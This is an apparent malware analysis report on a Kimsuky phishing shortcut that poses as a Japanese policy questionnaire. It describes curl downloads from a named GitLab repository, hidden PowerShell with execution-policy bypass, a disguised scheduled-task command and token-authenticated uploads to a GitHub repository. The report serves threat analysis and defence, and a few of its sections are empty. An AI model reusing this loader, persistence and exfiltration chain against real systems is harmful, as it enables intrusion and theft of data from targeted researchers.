Malware Analysis Report: Kimsuky / Operation GitPower

Executive Summary

The submitted ZIP contains a malicious shortcut disguised as a Japanese questionnaire about U.S.–China relations and North Korea policy. Opening it attempts to display a decoy PDF while installing a script-based mechanism for reconnaissance, recurring execution, and data transfer to an attacker-controlled GitHub repository. The recovered implementation closely matches Kimsuky’s Operation GitPower, including a distinctive scheduled-task name and the same staged delivery and exfiltration design.

These scores assess the submitted artifact and recovered code, not a sandbox execution.

Sample Identification

The filename translates approximately to “Materials/questionnaire concerning the U.S.–China summit and the incoming Trump administration’s North Korea policy.”

Attack Chain and Malware Behavior

1. LNK execution and decoy download

The shortcut displays a PDF icon but targets cmd.exe. Its arguments first run mode 15,1, reducing the console’s dimensions, then use curl -k -L to download two files from gitlab.com/rabbit779/giraff88:

• us8i.pdf, saved as %APPDATA%\whiskak.pdf and opened through Explorer.
• first.ini, saved as C:\Users\Public\wiska.vbe and subsequently invoked.

The commands use & separators rather than success-dependent chaining, so later commands are attempted even when an earlier step fails.

2. VBScript-to-PowerShell execution

first.ini contains readable VBScript despite its source and destination extensions. It reconstructs a PowerShell command by removing the inserted strings wfwiudfksksk and apple.

Using WScript.Shell.Run, the loader starts PowerShell hidden and asynchronously with:

powershell.exe -NoProfile -ExecutionPolicy Bypass -w 1 -Command …

The reconstructed command retrieves help.ini using Net.WebClient.DownloadString, passes the returned text to [ScriptBlock]::Create, and invokes the resulting script block. The downloaded PowerShell stage is therefore executed without first being written to a PowerShell script file.

3. Scheduled-task persistence and host-specific tasking

A recovered historical help.ini revision matches the shortcut’s wiska.vbe filename. It:

1. Reads C:\Users\Public\wiska.vbe.
2. Replaces help.i with <COMPUTERNAME>/help.i, changing future retrievals to a host-specific help.ini path.
3. Saves the modified loader as C:\Users\Public\Music\wiskas.vbe.
4. Deletes and recreates the following task:

GoogleUpdateTaskMachineUA{1C791230-CA8D-6D04-AC55-E498ABE7C33}

The task runs every 15 minutes and invokes:

C:\Windows\System32\wscript.exe //e:vbscript /b C:\Users\Public\Music\wiskas.vbe

This establishes periodic retrieval and execution of attacker-controlled, per-host PowerShell.

Repository-version distinction: The current retrieved help.ini references horak.vbe and horaks.vbe, not wiska.vbe. The matching historical revision—not the incompatible current filenames—is the basis for this sample’s persistence reconstruction.

4. Reconnaissance and GitHub exfiltration

The matching PowerShell stage collects:

A recovered host-specific variant also uses tasklist to collect running-process information. The inspected Downloads routine lists files and directories; it does not demonstrate theft of every listed file.

The upload function reads the collection files, Base64-encodes their contents, and submits authenticated HTTP PUT requests to:

https://api.github.com/repos/mongdolma/kangkani/contents/<COMPUTERNAME>/data/<filename>

Authentication uses a hardcoded GitHub personal access token concealed through string replacements. The JSON request contains message: "yshon" and the encoded content. Uploaded filenames follow SYS_yyyy-MM-dd_HHmm.tmp and DOWN_yyyy-MM-dd_HHmm.tmp.

The script then deletes the temporary collection files and the initial loader.

5. Registry/scriptlet finding

Registry-based scriptlet storage or execution was not identified in the submitted shortcut or inspected script stages. The recovered implementation uses file-based VBScript loaders and in-memory PowerShell. No corresponding registry writes, registry-resident scriptlets, or regsvr32/mshta invocation were found.

Verified static execution outline

Japanese questionnaire.pdf.lnk
  └─ cmd.exe /c
      ├─ curl -k -L: us8i.pdf
      │   └─ notable sink: %APPDATA%\whiskak.pdf opened through Explorer
      └─ curl -k -L: first.ini → C:\Users\Public\wiska.vbe
          └─ WScript.Shell.Run: hidden PowerShell
              └─ DownloadString(help.ini) → ScriptBlock.Create → invocation
                  ├─ Modify loader URL with COMPUTERNAME
                  │   └─ notable sink: Public\Music\wiskas.vbe and recurring scheduled task
                  ├─ systeminfo and Downloads enumeration
                  │   └─ notable sink: %TEMP%\SYS.tmp and DOWN.tmp
                  └─ Base64 encoding → Invoke-RestMethod -Method Put
                      └─ notable sink: mongdolma/kangkani/<COMPUTERNAME>/data/

Lure and Targeting Context

The decoy asks about U.S.–China competition, renewed Trump–North Korea dialogue, another U.S.–North Korea summit, Russia–North Korea military alignment, and South Korea’s policy response.

These themes are tailored to Japanese-speaking foreign-policy researchers, academics, think-tank analysts, journalists, and diplomatic/security specialists. These are inferred target categories, not identified victims.

The filename invokes an incoming Trump administration, while the PDF discusses an existing administration and an unspecified “recent” U.S.–China summit. The evidence does not establish one particular summit or campaign date. No organization is named or branded in the recovered PDF, and the delivery email was unavailable; consequently, no impersonated organization can be assigned to this specific delivery.

Recovered decoy PDF — page 1

Campaign Correlation

Attribution: Kimsuky, consistent with Operation GitPower. Confidence in the technical campaign linkage is high.

Genians’ related cases impersonated conference organizers and policy researchers. Those documented identities belong to the referenced cases and are not established identities for this ZIP.

Key Suspicious Indicators

• A PDF-disguised shortcut starts a command interpreter rather than a document reader.
• Remote content is saved under a script extension and immediately invoked.
• Obfuscated VBScript launches hidden PowerShell with execution-policy bypass.
• A GoogleUpdate-like task repeatedly runs a loader from the Public Music directory.
• Reconnaissance results are uploaded to a hardcoded GitHub repository using an embedded token.
• Temporary output and the initial loader are deleted after collection and transfer.

Indicators of Compromise

GitLab and GitHub are legitimate shared services. The repository paths and associated behavior—not the service domains alone—are the meaningful indicators.

Artifact hashes

False Positive Analysis

The decoy PDF is not the execution mechanism: inspection found no JavaScript, launch action, or embedded file. Likewise, PowerShell, scheduled tasks, and developer-hosting services can have legitimate uses individually.

Their combination here is unambiguously malicious: a misleading document shortcut silently retrieves scripts, establishes recurring execution, collects host information, and uploads it to a hardcoded repository using an embedded credential. There is no plausible document-viewing requirement for this behavior.

Evidence Limitations

• No runtime execution: The investigation establishes intended code behavior, not successful task creation, token validity, infection, or exfiltration.
• No matching sandbox analyses: Exact-hash Joe Sandbox searches for the ZIP, LNK, and retrieved initial loader returned no analyses. No runtime report or memory dump corroborated the chain.
• Mutable remote stages: The shortcut references GitLab main. Historical revisions supplied the matching wiska implementation, but the exact remote content served during an earlier victim interaction cannot be proven.
• Script-engine dependency: The initial loader is readable VBScript saved with a .vbe extension. Its default-association execution was not tested; the persistent task explicitly selects //e:vbscript.
• Missing delivery evidence: No original email, recipient information, or organization branding was available. Specific victims and impersonated organizations are therefore not established.
• Unsupported registry stage: Registry-resident scriptlet behavior requested in the original scope was not present in the inspected artifacts.
• Contextual research limits: Several web searches produced irrelevant results or failed retrievals. Geopolitical interpretation is therefore limited to the recovered lure text and inspected campaign reporting.

Analysis Workflow

Submitted ZIP
  ├─ Identify format, size, and hashes
  ├─ Extract and statically parse the LNK
  ├─ Retrieve decoy PDF and referenced script stages
  ├─ Inspect repository history and matching host-specific variants
  ├─ Reconstruct persistence, reconnaissance, and GitHub uploads
  └─ Compare verified behavior with Genians and JPCERT/CC reporting
      └─ notable sink: evidence-based Kimsuky / Operation GitPower assessment

References

1. Genians — Kimsuky’s Operation GitPower Targeting Ukraine Behind the Front Lines of Russia’s War.
2. JPCERT/CC — Attack Activities by Kimsuky Targeting Japanese Organizations, July 8, 2024.
3. Primary evidence: submitted ZIP and LNK, retrieved GitLab stages, and matching historical help.ini revision 87d2761b5c84b57c011dfcbe8ff1ff9ac2f365ae.